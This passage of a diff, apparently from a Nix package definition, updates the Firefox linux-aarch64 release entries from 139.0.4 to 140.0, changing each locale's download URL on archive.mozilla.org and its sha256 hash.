-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/bs/firefox-140.0.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "9e4d2eb785ecdd8032a8db6f4c6dc728ba5f66f39ecd80951ab5b62c70aade72";
+      sha256 = "339751b3b3f677f2aab64a8810e010a0c7beb10f302f7b3bb8a53fac5129afbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca-valencia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca-valencia/firefox-140.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "ba707f4d818ec61c6ff7bf12ae1955b322a0b849d4bc9ebd43f6cf722fab7c4a";
+      sha256 = "d34cec4309053b0052eff56a3945c591bff1a31018271938434299d54ef9fa16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ca/firefox-140.0.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "27537f26f75f8a5569f5be5e660183370a37196c679ed2a30a98a10ed4f35433";
+      sha256 = "efcf4359152b1e20944d53ec17de7ec88636db5fd1a6aee1df9a50387f264410";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cak/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cak/firefox-140.0.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "15c59a9a1c580363e55d7bd0849e6c4ed1edf0dba06ea4752d9d183816a5f9f8";
+      sha256 = "78436756dbb435afac86367a6da54e65e92ccbc3cb376f527b28e134f64d0367";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cs/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cs/firefox-140.0.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "a48b8edf3dfc26177f62e67eae803b33ec1d682de8e47610ba738cecda6b7d67";
+      sha256 = "6685742f6e2f6840b81c89c3495c9419a189c22b3cf245cbe991e0fd77269b39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cy/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cy/firefox-140.0.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "ce62f2ed99700e205bdd7f33da5e1a449e08f978eaea2e589aef93fd4bffc6c3";
+      sha256 = "64c9012f46b828d89db623a1efab5f510936b5fe9d67d7df8dd816489c222f8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/da/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/da/firefox-140.0.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "4999f6e1ad62df71024aa60690adda3c61b71d0f45283a9d11a7d4145f861f65";
+      sha256 = "ad58c524f36bececf9aaf0630f2ed1963a97e550a791bf39405e5d74d4127bdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/de/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/de/firefox-140.0.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "68ae79e7e04bbf6aba7231887c0b3a3d3fd7d3183bfe41ad08b2443fddcd1002";
+      sha256 = "868cdc964e745d0fb751514279be82ea680e0721bd5548ab9dacae0075bd18cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/dsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/dsb/firefox-140.0.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "c1cff3c3535d70efbd0ac9bd3c68ed6c99b45a7b9ad7763f7a601fecbb032023";
+      sha256 = "3b5ba7aca878e4816efa1cf2d5142525285c94d195e27b2895228b48f8d65ba6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/el/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/el/firefox-140.0.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "d663076f5dc885d88c7be9c7305c81ceed9c47073c09e12d688c8353328cb83b";
+      sha256 = "24163f2144da95b4a2592e3e0fac6959ab59dbcf39af58c96f50ef3dbbd6be91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-CA/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-CA/firefox-140.0.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "ec8fc28141b1782c9f2e8ad4e8c727213e32183be318d2933f10858e008bba81";
+      sha256 = "cc5e50fb214b9ca8c66c154cd8d8fda2cdfb76a0ed278dfc816db7fc3cbf925a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-GB/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-GB/firefox-140.0.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "b984c4ce0a6ef874a7fe8e36e447de0b60c06af95a90b965fd137dea01102bdb";
+      sha256 = "c1151d90cbe870275993f7e8ce07f11d9accffa450bb4b8aeaf67dd2d8ca4423";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/en-US/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-US/firefox-140.0.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "b59b346c9e671de73ffa4f5b5c72b98a91918849d31988c3251f8e91bdbb72b6";
+      sha256 = "ee6fadf005a4a833debe5dabf13efbc43498270a584219fa0594f03c3f590007";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eo/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eo/firefox-140.0.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "59785f561ae0f63bf9f93a02163c15bd26eb4a5d0c50a34a45cf239741370b61";
+      sha256 = "d9669dc2ce9b1e4fe0b97d68c2959c6029d73fe82649a40815f1553557c1b5da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-AR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-AR/firefox-140.0.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "bef36861d98bb216e88a058bc59dec24d8e283ba0dc9bf7a5127953eb380bc0f";
+      sha256 = "b9204fcddbcda0bc2eeb7a5d62dbfe9a250b8ac71b2d0137c53ff66bb77cea88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-CL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-CL/firefox-140.0.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "a12d5e40d9e5be9378f38be23a392b84ad0a834a1457f64b8764ebf8c005996a";
+      sha256 = "b019c76a5b039c6349fcd8d87f9401ee2bd59e51cb7a4c3c71fa0ff781c7c0c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-ES/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-ES/firefox-140.0.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "4367810587bedae2ea641744068a9525dcdd5be0cea615797903c4c7e6ad55e1";
+      sha256 = "3b58ea93353f618e9b4d1d03bcb5a35b09ebbcb64a4dae5359d40120c85fdd07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/es-MX/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-MX/firefox-140.0.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "afb6b459940b41b2df8b548b7d7e11804ed3d9da414e5cbfe1bc44072b4ca276";
+      sha256 = "8705a9764ded2fcd1d3ca1a2d192ab6240c01fe52783faf107223b288add4bee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/et/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/et/firefox-140.0.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "7d6958124f15eb18dca3bc54ed5e39716d3cf684adf46ba7d6e9572221f5d422";
+      sha256 = "4734f1ca8076bcc733b81509df49fdc98e1e4f9c5c32792791f9dc6d70b2c010";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/eu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eu/firefox-140.0.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "7138126b3f15555cb03407820a409b756e37b33724b7aaaebde0c4044d84040a";
+      sha256 = "f360e4f9845ff2b4117904625e08bf51c388c877af1cdf197938fd3e156ba0b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fa/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fa/firefox-140.0.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "76a0973988a103276071e610ee86f93a24ca25a7009bb19e6e088376a09896aa";
+      sha256 = "ad60e83e349cee74ed100bd1f3a9ce0d404405c6fe6e96773c955b743a9d4956";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ff/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ff/firefox-140.0.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "b6e6d90c6bc697161d654ff6012441181c2d9865fd4cd1fc68de32ab774a976d";
+      sha256 = "3952ec8bd22d9fc186738ec2fccb1ed2d1af748effd6aa4de7d4e37c6f7645fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fi/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fi/firefox-140.0.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "123d5ed0791af1efc678ef66dbd5d32b2471778cca369db221b08357d334b4ef";
+      sha256 = "3d2bf8f57014058e7c90155808bf971287cc145309126a4ef1cebab2e3cad8e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fr/firefox-140.0.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "0c42d4d1a2eabe8bd47ba98a07f17cd0b8d65b8095ee10fdb267776940fc67a0";
+      sha256 = "a6070dbe45a468338f10b2754718cc938e4420e39efff16c7c65290ddc49a1bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fur/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fur/firefox-140.0.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "b0226617fbccdb8eeb2ff725df50b7cc5abd3b3f5812950da35724a4ba05bd23";
+      sha256 = "1c6696ccef61e8e9618b963393cc700d03914b3e526b95df50c8ac72018bad28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/fy-NL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fy-NL/firefox-140.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "3258d3615d1f6ca53a401da36ec79f8c3fff806c4ab464267049c13c2bcebd70";
+      sha256 = "36ecf8e1b3528c9455aed04ed257d482ae26973cbd5d3355598d7d2e52ad8c5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ga-IE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ga-IE/firefox-140.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "150a762bf9250bee6cac653973d3de117d1742478ae38b19e27dd7b32d5433cb";
+      sha256 = "dcf4ab78577ccc8d4b01ab1064270ff5afb122f8421bc90d233a376315c11db4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gd/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gd/firefox-140.0.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "a1c2964046d07c3e75aaa0c5fed25faaadeb035b07b7b58a2773992ec62aad5e";
+      sha256 = "c4ea08226d591cfadc63e5eb25dcab1ca4cc4c9bce3eb5928e592d24cb91f28d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gl/firefox-140.0.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "8ed6a5d0f2e468be74ae1748fb06638ba6334c9a7ac67f7242c67d039ad6873a";
+      sha256 = "1830af229f1d34900907dd57c35ecdcbf474cf45781c92a1198b299edd531638";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gn/firefox-140.0.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "fd2c91b162ce8f8061d33d0fa482454247c3a8e3586dd63bdea2661b4f7c715d";
+      sha256 = "dd10b2c75a1ad910189e68b019acc841050e4bf1e84b709fd4a4a8af8b985418";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/gu-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gu-IN/firefox-140.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "b2e606a4cac7109f532f755be363486a1d675b547ece41c909923b3da412eb5f";
+      sha256 = "70b9c2a83af23b415f1ac959f91f7455cf328dc24451a34dda56d73ceed65f63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/he/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/he/firefox-140.0.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "7dcd61cb1a244dacf7baf2a62f5d6e2bc49cec1fde0ffc7016c8b1e07c899629";
+      sha256 = "74dc21a13b7f4ba88e65c7a1e351d5f3a0098761ff3a3700c72312cb92db8dd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hi-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hi-IN/firefox-140.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "200769ad72f55a409325e3448e1101235c7e2bc79921c84cc9b490c6963e90ae";
+      sha256 = "7a30df65e8621f47b115864ac8c0be810ae8701536613e49f1eb21284706091b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hr/firefox-140.0.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "0c9420f07e89e8521157086b813172328a5e16ae1d2bc7871ddba1bb0d17c5af";
+      sha256 = "527623ebecfc8266eec16f9351e3c93870187f2546a4546d29fdf59359f97a7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hsb/firefox-140.0.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "27ef785504bf2f8bf8c2cca9d64ba186bf524084808f95eb4f8ec32f341560ce";
+      sha256 = "777e5004b2a64beca9840823da0ae73f9ed9b3fb0c068d0e1282ba3711461afc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hu/firefox-140.0.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "f3ca60ad21b7018ba81a49169b1facce8fd60ba02865315bae43ceb03515e0fd";
+      sha256 = "1a2260dfa3efa59b2eb8f60e4096073404302315c327e3c6b84623e83cb47363";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/hy-AM/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hy-AM/firefox-140.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "31ccd33e188417a6e70b8175a75e3ff74121b8d2b34129d18513813a93f8cbc5";
+      sha256 = "4268af4fc7c4eb4f70073d1843d727fef4eae1a8d46538480fcb12435bca12c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ia/firefox-140.0.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "801c272c3103376127f8d42580b72c4122e8393390d9131ab8a3a0407fcf3361";
+      sha256 = "883ffec6df98a49be7eab9491a480a15bd4c8dea33327213110ebcf9525dc6f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/id/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/id/firefox-140.0.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "ec6b300a7a8a56f53d073dd2701ebd09e1e1135a9d1c172608a3ea5e5a547f62";
+      sha256 = "8ab8cb04defaec64b84c07b2f970e50cae3ccd663fd652c1886e63548bf347a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/is/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/is/firefox-140.0.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "35a509b08306b57a9070afba7af4d84d4b4cbc9d3134d7a404fd6e868540a7e0";
+      sha256 = "9418275c7171afef7d245999c15772fe59d72b24fcff6c36feba513d97093672";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/it/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/it/firefox-140.0.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "3ae8722ad53868202863eb5d7aa9dbf374a0976f56d91af64592c4f36ec931ec";
+      sha256 = "7387bd3f54ea876fa8de603a68064f9a9741253db5ef035f47cac057ea8a5b54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ja/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ja/firefox-140.0.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "53bbccb2da46849c7b3c213eceb17464fa51ed6c17da52428005d7cdc82f3b9e";
+      sha256 = "ee86f17d10c9c31bda010ca28ea420da595463cff1cf4c327cc8e8ccccc9ef7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ka/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ka/firefox-140.0.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "ef111ba916afc60e16e3ccaf098d7e990d24224b72b4128d583de1f6df678d19";
+      sha256 = "09f6cbc5ca7af19550a1345c3ece159e221a638c8581b018541aa4a01f7585f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kab/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kab/firefox-140.0.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "c45c8fb00c6466eaba03d85f76af53e5fa31adadeb77cc0f05508cabf933164a";
+      sha256 = "8a8cce56b466aec4ae3b9eef666c701e2255e005e7146bf212a1286d2081fc56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kk/firefox-140.0.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "429007e329666ceb00f9cf94742ce821d8b99f2dfab224a32b73390652aa12e5";
+      sha256 = "fc4fa20d7eb321f97e8804eb6075c64db22c5e49abc27aa08b113e772f80238b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/km/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/km/firefox-140.0.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "5afb548f21199ac57e14a980d900cca7c660815e2929b25b87d772bfdb238ecb";
+      sha256 = "c5f87863b190c56c48a21f20527b0fd292cd87ea091b73e6bd537b6d047207af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/kn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kn/firefox-140.0.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "b1d8c9c0c116e0f5dd9f666e78c3a4036cb99b9e3c0c790214495a315a2fbfed";
+      sha256 = "f596f4e433dbd7513aa62a30b196202880bd4bcff2c36df9c25b86d8a0c6a183";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ko/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ko/firefox-140.0.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "1c17fe426a94ec40b6f8e9e66d47ff8dac8ce5aab84ce6a41c38949dd2598643";
+      sha256 = "d436db9db8e6c980544ee379fd6eff4c9224cc2a7f8acab96149a086dcc03dd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lij/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lij/firefox-140.0.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "3b7f171db231c0033df14ee114a515d76240e6b4e09ef17830742db184618b19";
+      sha256 = "be1e4cd0ca89426842bd516fabb4d6e52d42fdb7270f2a629fbd8688d93fd28a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lt/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lt/firefox-140.0.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "5fcb5b1319faa335e49019722c28dd2056694d00c4e75c6d2ac069c6a23766e5";
+      sha256 = "555b15e0479505f2cb84413538805202927310cee4da1c60d78197aa070aeb23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/lv/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lv/firefox-140.0.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "22694a5bc3a735208bb88e37daf713cef9c96bb82c131f9adb5f45e67755657c";
+      sha256 = "3316aeb17791bf180fbddaaf5e2e945c45ef4a6531b3ad095ddf7a1c00d961ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mk/firefox-140.0.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "6b7ca8e14e8562d81a4d290d2bde8ee18b5980d9cb98558053f49c1543e74b41";
+      sha256 = "01b63debae69c066328daeff5421a081029aefb8b7da054516a6890180f4d594";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/mr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mr/firefox-140.0.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "285287a5a5b0e47f1247a36d180abdb85100e81a674b886f1ff82455569c43ad";
+      sha256 = "3183e1e208e3ccb9ecee0b8d2a550958cf56283e3af129a4225ca2fab1747956";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ms/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ms/firefox-140.0.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "1da9d48c54528cdfd9a8a9182f53331450afff64bb3a8ef6333bc0531feaef16";
+      sha256 = "72c18125e81abd12b445ad0c099606f17a3fc92489ee96675df5c872773d8768";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/my/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/my/firefox-140.0.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "cf4147013aa446ff5a35428210d857e8709c1843f050c1f7bb1e7bb7e4020d8c";
+      sha256 = "50cc9d4f95c8324d82340e86fa51386f1fa357160cd42351a5cd8286f3e9ff34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nb-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nb-NO/firefox-140.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "bee86e15e1d93fd0713d18538069ca55c07604633dd5307786eb89bc0d958edf";
+      sha256 = "89a7af06c905fd1898acfc696145965c64f9a823e981a93307d9420b94e1ec01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ne-NP/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ne-NP/firefox-140.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "84124164fe4db505a9e2b4d35c9f7dfd335438bb81f758c8ac0cdbe66ef4189f";
+      sha256 = "d57fb937ab9222fa4ce26d411204066c2832276570d1bc2fe09ccc0fc4c750ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nl/firefox-140.0.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "f0b4f0e0c303cf5b81004813a8e43e6a3bc8ca3a1f1e683e951dc1fec6cfa947";
+      sha256 = "e4dcc699844ee961c0945e6a561d6a03a64b75293ac7eba910f732fabe0c307f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/nn-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nn-NO/firefox-140.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "936a6d960143b2f573581fac753c8e0687f0f18080283b10d1ac122e069afcc7";
+      sha256 = "ee74df91ad7f4e5f54695b8539697bc9092e2510456851f81c640f4a00d3d08a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/oc/firefox-139.0.4.tar.xz";
